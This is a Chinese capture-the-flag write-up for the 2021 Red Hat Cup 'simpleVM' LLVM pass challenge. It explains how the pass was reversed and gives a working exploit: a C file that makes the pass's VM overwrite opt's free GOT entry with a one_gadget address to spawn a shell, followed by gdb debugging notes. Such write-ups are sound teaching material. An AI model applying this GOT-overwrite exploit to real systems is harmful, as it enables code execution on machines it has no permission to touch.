红帽杯-2021 simpleVM
[TOC]
- 入门llvm pass的第一题, 这里给出一个写的比较详细的博客
题目分析
- 先ctrl+g定位到.load段找到pass函数
- 发现如果函数名为o0o0o0o0就会执行sub_6ac0处的函数
- 此处的函数就是执行o0o0o0o0函数里的函数
- 里面就是一个vm很简单,但是被一个地方卡了很久,这里ida翻译的有点问题,仔细看图片内容,ida翻译的让我把指针等级搞混了,然后一直觉得逻辑不对,后来看了一眼才发现是ida翻译错了
关于llvm反汇编难理解的地方的解释
- llvm::Value::getName这个函数用来获取函数名称
- llvm::Function::begin和llvm::Function::end都是Function类的迭代器对象,其迭代的对象是函数中的基本块。因此这个循环的意思就是对每一个基本块执行sub_6B80函数。
- llvm::ilist_iterator<llvm::ilist_detail::node_options llvm::BasicBlock,false,false,void ,false,false>::operator*这条语句中的ilist是LLVM标准库中定义的一个数据结构,与C++标准模板库list类似,但是LLVM中都是使用ilist来存储一个函数的所有基本块或指令,可以将其看成一个列表,针对于LLVM做了一些特殊的优化。
- llvm::Instruction::getOpcode(v36) == 55 查看源码才发现其定义保存在llvm/IR/Instruction.def文件中,上面的代码意思是指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令。我们看一下llvm/IR/Instruction.def文件中哪个指令的指令码是55: HANDLE_OTHER_INST(55, Call, CallInst)
- v35 = (llvm::CallBase *)llvm::dyn_cast llvm::CallInst,llvm::Instruction (v36); 这个函数用来获取函数名列表中的函数
- (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 这里其实际返回的值应该是函数参数的个数+1
- ArgOperand = llvm::CallBase::getArgOperand(v35, 0) 第二个参数表示获取第几个参数,这里就是获取0个参数
- v31 = (llvm::ConstantInt *)llvm::dyn_cast llvm::ConstantInt,llvm::Value (ArgOperand);ZExtValue = llvm::ConstantInt::getZExtValue(v31); 把参数变成Int类型,然后进行0扩展
exp
- clang-8 -emit-llvm -S exp.c -o exp.ll
- ./opt-8 -load ./VMPass.so -VMPass ./exp.ll就可以拿到shell
- 这里的思路是先获得opt的free函数的got表内容,然后加减偏移得到ogg的实际地址,然后再往opt的free的got表写入ogg的实际地址即可
// clang-8 -emit-llvm -S exp.c -o exp.ll
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);
void o0o0o0o0()
{
add(1, 0x77E100);
load(1);
min(2, 0x9a6d0);
add(2, 0xe3afe);
add(1, 0x870);
store(1);
}
杂记
- 这里是最初调试的时候记录的一些东西
0x7ffff3b66000
telescope 0x7ffff3b66000+0x20DFC0
b *0x4b8d60 b*0x4b8d65
llvm::FPPassManger::runOnFunction(llvm:Function&)
set args -load ./VMPass.so -VMPass ./exp.ll
0x7ffff4e27b48 <llvm::legacy::PassManagerImpl::run(llvm::Module&)+744> call qword ptr [rax + 0x88] <llvm::FPPassManager::runOnModule(llvm::Module&)>
0x7ffff4e2777e <llvm::FPPassManager::runOnModule(llvm::Module&)+46> call llvm::FPPassMana
0x7ffff4e2750a <llvm::FPPassManager::runOnFunction(llvm::Function&)+1002> call qword ptr [rax + 0x88] <0x7ffff3b6c830>
b *(0x6B36+0x7ffff3b66000)